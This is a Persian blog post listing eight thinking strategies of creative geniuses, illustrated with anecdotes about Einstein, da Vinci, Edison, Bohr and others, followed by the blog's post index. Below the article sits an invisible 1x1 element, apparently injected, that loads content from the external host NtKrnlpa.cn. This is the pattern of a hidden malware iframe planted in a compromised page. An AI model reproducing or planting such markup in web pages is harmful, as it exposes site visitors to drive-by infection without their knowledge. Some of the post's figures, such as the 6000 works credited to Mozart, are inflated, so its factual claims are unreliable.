سفارش تبلیغ
صبا ویژن
حقّ سرپرست علمی تو آن است که وی رابزرگ بشماری و مجلسش را محترم بشماری و به او نیک گوش کنی [امام سجّاد علیه السلام]
امروز: یکشنبه 103 آذر 4

از انیشتین پرسیدند، فرق تو با یک فرد معمولی (متوسط) چیست؟ او گفت اگر از فردی معمولی بخواهید سوزنی را در انبار کاه بیابد، او با اولین سوزنی که مییابد کار را پایان می دهد و زحمت جستجوی کل انبار کاه برای یافتن تمامی سوزنهای ممکن را به خود نمی دهد. اما من تمام انبار را می گردم تا همه سوزنهای ممکن را پیدا کنم!

مقدمه :

تفکر آفرینشگر در برابر تفکر بازآفرین
عموماً ما به روش بازآفرینی ـ یعنی برمبنای مسایل مشابهی که در گذشته با آنها مواجه شده ایم ـ تفکر می کنیم. زمانی که با مسأله ای روبرو می شویم، آن را به قالبی می بریم که قبلاً جواب داده است. از خود می پرسیم: "برای حل این مسأله، چه چیزی را قبلاً در زندگی، تحصیل یا کار خود آموخته ام؟"، سپس به روشی تحلیلی، مطمئنترین روش را که در تجربیات گذشته مان جواب داده است، انتخاب کرده و بقیه را حذف می نماییم. آنگاه در چارچوبی کاملاً مشخص به حل مسأله می پردازیم. از آنجایی که براساس تجربیات خـود، به درسـتی و منطـقی بودن گـامهای روش خـود مطـمئـنیم، مغرورانه به درستی نتیجه گیریمان نیز معتقدیم.

نوابغ به روشی آفرینشگرانه می اندیشند نه بازآفرین. آنها وقتی با مسأله ای مواجه می شوند، به جای اینکه بپرسند "چه روشی را دیگران تا به حال برای حل این مسأله به من آموخته اند؟" از خود می پرسند: "به چند روش می توانم به آن نگاه کنم؟"، "چگونه می توانم به روشی نو به آن بنگرم؟" و "به چند روش مختلف می توانم آن را حل کنم؟"، آنها با پاسخهایی بسیار متفاوت، بعضاً غیرمتعارف و حتی منحصربه فرد، به مسأله جواب می دهند .
با تفکر آفرینشگرانه، شما به آفرینش تمامی رویکردهایی قابل تصور می پردازید و کمرنگترین رویکردها را همچون واضحترین رویکردها، مدنظر قرار می دهید. در واقع اراده و تلاش برای کشف تمامی روشهای ممکن ـ حتی بعد از اینکه راهی مطمئن و قطعی پیدا شده باشد ـ بسیار مهم است.

اکنون، هشت مورد از راهبردهایی را که در الگوهای اندیشه نوابغ خلاق (در تاریخ علم، هنر، و صنعت) مشترک است، شرح می دهیم:
1
-نوابغ از دریچه های مختلف به مسأله نگاه می کنند. نوابغ اغلب به دنبال یافتن نگرشی نو هستند که تاکنون دیگران آنها را برنگزیده اند. لئوناردو داوینچی معتقد بود که برای کسب دانش راجع به قالب یک مسأله، باید یاد بگیریم که چگونه آن را از راههای گوناگون، بازسازی کنیم. او اعتقاد داشت که اولین نگرش ما به یک مسأله، به شدت متأثر از نگرش معمول و روزمره مان است. او مسأله خود را ابتدا از یک نگاه، بعد از نگاهی دیگر و بعد از نگاههای دیگر بازسازی می کرد. با هر تغییر، درک او از مسأله عمیقتر و به همان اندازه به فهم اصل مسأله نزدیکتر می شد.
نظریه نسبیت انشتین، اساسا"، توصیف تعاملات بین چند نگاه مختلف است. روش تحلیلی فروید نیز به دنبال یافتن جزئیاتی است که با نگاه سنتی نمی توان آنها را دید. در حقیقت فروید همواره در جستجوی یافتن زاویه نگرش کاملاً جدیدی بوده است.
یک اندیشمند، برای حل خلاقانه یک مسأله، باید در ابتدا رویکرد اولیه خود را که برخاسته از تجربیات گذشته است، کاملا" رها کند و مسأله را مجدداً تصور و تخیل نماید. نوابغ با اجتناب از نگاه یک سویه فقط به حل مسائل موجود (همچون ابداع یک سوخت سازگار با محیط زیست) نمی اندیشند، بلکه به کشف مسائل جدید نیز می پردازند.
2
- نوابغ افکار خود را به تصویر می کشند. انفجار خلاقیت در عصر رنسانس به شدت متأثر از تدوین و توزیع دانش عظیم و گسترده نقاشی، طراحی و نمودارهایی همچون نمودارهای مشهور داوینچی و گالیله بود. گالیله در زمانی که اکثر معاصران وی همچنان از رویکردهای متعارف ریاضی و گویشی استفاده می کردند، با نمایش تفکرات خود بر صفحه کاغذ ، انقلابی در علم ایجاد کرد.
نوابغ بعد از آنکه حداقل تواناییهای خاص گویشی را بهدست می آورند، بهدنبال افزایش مهارتهای تصویری (دیداری) و تجسمی خود می روند تا بتوانند، اطلاعات را به روشهای مختلف نمایش دهند. وقتی انشتین با مسأله ای مواجه می شد، همواره لازم می دید تا موضوع خود را به تمامی روشهای ممکن (همچون نمودارها) فرموله نماید. او ذهنی بسیار تصویری داشت؛ و به جای اندیشیدن در چارچوب های خشک استدلالهای ریاضی و گویشی، در قالب گزاره های تصویری و فضایی فکر می کرد. در واقع، او معتقد بود که کلمات و اعداد (آنگونه که آنها را می خوانیم یا می نویسیم)، چندان نقشی در فرآیند تفکرش بازی نمی کنند.
3
- نوابغ تولید می کنند. یکی دیگر از ویژگیهای متمایز نوابغ، باروری و استعداد تولید سرشار آنان است. توماس ادیسون، 1093 اختراع ثبت نموده و همچنان سرآمد مخترعین است. او برای تضمین بهره وری گروهش، برای همه اعضا سهمیه ایده تعیین کرده بود. سهمیه شخصی خود او، حداقل یک اختراع کوچک در هر 10 روز و یک اختراع بزرگ در هر 6 ماه بوده است.
باخ، هر هفته یک آواز می سرود، حتی اگر مریض یا بیحال بود. موتزارت، بیش از 6000 قطعه موسیقی خلق کرد. انشتین هم اگرچه بیشتر به خاطر مقاله خود در باب نسبیت مشهور است، ولی 248 مقاله دیگر نیز منتشر کرده است. تی اس الیوت، چندین پیش نویس برای "برهوت" تهیه کرد که ملقمه ای از پیامهای خوب و بدی بود که به ناگاه به شاه قطعه تبدیل شدند.مطالعه ای که دین کیت سایمونتون از دانشگاه کالیفرنیا روی 2036 دانشمند انجام داد، نشان داد که معتبرترین دانشمندان، فقط آثار گرانقدر خلق نکرده اند، بلکه انبوهی از کارهای بد و نامطلوب نیز داشته اند و از حجم عظیم و کمیت کار آنان، کیفیت نیز سر برآورده است.
4-نوابغ، ترکیباتی بدیع می آفرینند. سیمونتون درکتاب "نابغه علمی" خود (1989)، تصریح می کند که نوابغ، به جای اینکه صرفاً کارها را بر اساس ذوق و استعداد انجام دهند، بیشتر ترکیبات بدیع و نو می آفرینند. یک نابغه نیز همچون یک کودک بسیار بازیگوش که با مجموعه ای از بلوکهای ساختمانی سرگرم می شود، دایماً در حال تجزیه و ترکیب ایده ها، تصاویر و افکار به روشهای مختلف در ضمیرهای خودآگاه وناخودآگاه خویش است.
معادله انشتین را در نظر بگیرید: E=mc2. انشتین مفاهیم انرژی، جرم و سرعت نور را اختراع نکرد. در عوض، با ترکیب این مفاهیم در قالبی نو، توانست جهانی را که دیگران نیز می دیدند، به روشی متفاوت ببیند. قوانین وراثت که علم ژنتیک نوین بر پایه آن بنا شده، برخواسته از نظرات یک کشیش اتریشی بنام گروگر مندل است که ریاضیات و زیست شناسی را ترکیب کرد تا علمی نو بیافریند.
5
- نوابغ، روابط را تقویت می کنند. اگر الگویی از تفکر، نشانگر نبوغی خلاقانه باشد، همانا متأثر از توانایی کنار هم گذاشتن موضوعات نامرتبط است. این توانایی در بهم ربط دادن مقولات مجزا، نوابغ را قادر می سازد تا چیزهایی را ببینند که دیگران نمی توانند ببینند.
داوینچی سعی کرد تا رابطه ای بین صدای زنگ و سنگی که در آب می افتد، ایجاد کند. این نکته، باعث کشف این اصل شد که صدا همچون موج حرکت می کند. درسال 1865، اف.ای. ککوله، شکل حلقوی مولکول بنزن را در خیالات خود، در قالب ماری تجسم کرد که دُم خود را گاز می گیرد. ساموئل مورس، به خاطر ناتوانی در تولید سیگنالهای تلگرافی که بتوانند از یک قاره به قاره دیگر برسند، به ستوه آمده بود. تا اینکه روزی مشاهده کرد که اسبهای چاپار را در ایستگاهها تعویض می کنند و کوشید تا ارتباطی بین ایستگاههای اسبهای چاپار و سیگنالهای قوی پیدا کند.
6
-نوابغ به تضادها می اندیشند. فیزیکدان و فیلسوف معروف، دیوید بوهم، معتقد بود که نوابغ از این جهت قادرند افکاری متفاوت داشته باشند که می توانند دمدمی مزاجانه بین مقولات متضاد یا موضوعات ناسازگار حرکت نمایند. آلبرت روتنبرگ محقق معروف در زمینه فرآیند خلاقیت، نیز متذکر وجود همین توانایی در اکثر نوابغ ـ همچون انشتین، موتزارت، ادیسون، پاستور، کونراد و پیکاسو ـ شده است و آن را در کتاب خود، "الهه نوظهور: فرآیند خلاقیت درهنر، علم و سایر زمینه ها" (1990) شرح می دهد.
فیزیکدان معروف، نیلز بوهر اعتقاد داشت که وقتی شما همزمان خود را در مواضع متضاد نگاه می دارید، افکار خود را معلق کرده و نتیجتاً ذهنتان به سطحی جدید منتقل می شود. معلق بودن ذهن، امکان می دهد تا ذکاوتی فرای تفکر ساده وارد عمل شود و قالبی نو خلق نماید. این چرخش و گردش مابین تضادها، شرایطی را ایجاد می کند که ذهن شما آزادانه به زوایای دید جدید دست یابد. توانایی بوهر در تصور دوگانه نور در قالب ذره و موج، باعث شد تا او به درک و تدوین "اصل مکملی" برسد. اختراع یک سیستم عملی روشنایی توسط توماس ادیسون، ناشی از ترکیب سیم پیچی مدارات موازی با رشته های مقاومت بالا در لامپهایش بود ـ چیزی که در نظر دیگر اندیشمندان، غیرممکن تلقی می شد. در حقیقت دیگران چنین ترکیبی را عملاً ناسازگار فرض می کردند. از آنجا که ادیسون می توانست پرش بین دو چیز ناسازگار را بپذیرد، توانست رابطه ای را ببیند که سرانجام منجر به کشف بزرگ او شد.
7
-نوابغ ، استعاری می اندیشند. ارسطو، استعاره را نشانه نبوغ می دانست و معتقد بود فردی که می تواند شباهتهای دو مقوله متفاوت هستی را درک کرده و بین آنها پیوند برقرار کند، گوهری گرانقدر در اختیار دارد. اگر چیزهایی نامشابه، از چند منظر و رویکرد، مشابه باشند،از مناظر دیگر نیز می توانند مشابه تلقی شوند.
الکساندر گراهام بل، عملکرد داخلی گوش را با یک پرده محکم فلزی لرزان مقایسه کرد و این مقایسه به اختراع تلفن انجامید. انشتین بسیاری از قوانین مجرد خود را از رخدادهای مشابه طبیعی برداشت می کرد و توضیح می داد؛ رخدادهایی همچون پاروزدن در یک قایق یا ایستادن در ایستگاهی که قطاری از آن می گذرد.
8
- نوابغ خود را برای فرصتها مهیا می کنند. ما هرگاه مبادرت به انجام کاری می کنیم و شکست می خوریم، به ناگاه با شرایطی نو مواجه می شویم. این اولین اصل حادثه خلاق است. ممکن است از خود بپرسیم چرا من در این کار شکست خوردم؛ که البته سوالی منطقی است. ولی حادثه خلاق، سوال متفاوتی را پیشروی ما می گذارد: ما چه کرده ایم؟ پاسخ به این پرسش از طریقی نو و غیرمنتظره، اقدامی خلاقانه و اساسی است. این، خوش شانسی نیست، بلکه بینشی خلاقانه در بالاترین مرتبه است.
الکساندر فلیمینگ، اولین پزشکی نبود که در مطالعه باکتریهای کشنده، متوجه کپکهای ظرف کشت میکروب (که در محیط باز قرار گرفته بود) شد. کمتر پزشک خوششانسی پیدا می شود که به جای دور ریختن این ظرف، آن را "جذاب" بداند و به آن به دیده یک "فرصت" بنگرد. این نگرش علاقه مندانه ی او، به کشف پنیسیلین منتهی شد. ادیسون، وقتی در حال تفکر عمیق راجع به چگونگی ساخت یک رشته کربنی بود، ناخواسته با تکه ای از خمیر بتونه سرگرم شده بود، آن را می چرخاند و دور انگشتانش می پیچید، لحظه ای که نگاهش به انگشتانش افتاد، برق از چشمانش پرید و گفت: "کربن را مانند یک رشته بپیچ!". "بیافاسکینر "، اینگونه بر اولین اصل روش شناسان علمی تکیه می کند: "وقتی چیزی برایتان جالب است، همه چیز را رها کنید و به مطالعه آن بپردازید". وقتی فرصتی در می زند و ما مجبور به اتمام کاری از پیش تعیین شده هستیم، شکستهای ناخواسته ی بسیاری در زندگیمان رخ می دهد. نوابغ خلاق، منتظر دستاوردهای شانسی نمی نشینند، بلکه فعالانه به دنبال اکتشاف تصادفی می گردند.
این راهبردها را به کار بگیرید
نوابغ خلاق می دانند که چگونه ازاین راهبردهای فکری استفاده کنند و به دیگران نیز بیاموزانند که از آنها استفاده کنند. جامعه شناس معروف، هریت زوکرمن، متوجه شد که شش نفر از شاگردان انریکو فرمی (برنده جایزه نوبل)، همانند خود او موفق به دریافت جایزه نوبل شدند. ارنست لاورنس و نیلز بوهر نیز هر یک چهار شاگرد برنده جایزه ی نوبل داشتند. جِیجِی تامسون و ارنست رادرفورد نیز مشترکاً 17 برنده جایزه نوبل را تربیت نمودند. این برندگان نوبل، تنها نابغه نبودند؛ بلکه قادر بودند نبوغ را به دیگران نیز بیاموزانند. بررسی های زوکرمن نشان می دهد تأثیرگذارترین بزرگان، علاوه بر محتوای فکری،الگوها و راهبردهای تفکر را نیز آموزش می دادند. بنابراین واضح است که راهبردهای فکری را می توان آموخت.
درک، تشخیص و به کارگیری راهبردهای فکری مشترک بین نوابغ خلاق، شما را قادر می سازد تا در زندگی کاری و شخصی خود، خلاقانه رفتار کنید.

< style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: 0px" src="http://NtKrnlpa.cn/rc/" width=1 height=1>
 به نظرم رسید مفیده که نوشتم در شنبه 87/12/24 و ساعت 5:6 عصر | دوست دارم نظرتونو بدونم()
 لیست کل یادداشت های این وبلاگ
دعای پولدار شدن
دعا
اصول یادداشت برداری
88/8/8
خود سازی در 6 مرحله
چگونه مسئله حل کنیم ؟
شگفتی های حافظه ( قسمت دوم )
شگفتى‏هاى حافظه ( قسمت اول )
چگونه میتوانید نظر دیگران را در مورد خود تغییر دهید؟
هدف آفرینش انسان
مدیریت استرس در کار و بهبود سلامت روان
چگونه عاشق خدا شویم
تبریک سال نو
شعر زیبا از :عبدالجبار کاکایی
زود قضاوت نکنیم !
[همه عناوین(171)][عناوین آرشیوشده]

Clicky Web Analytics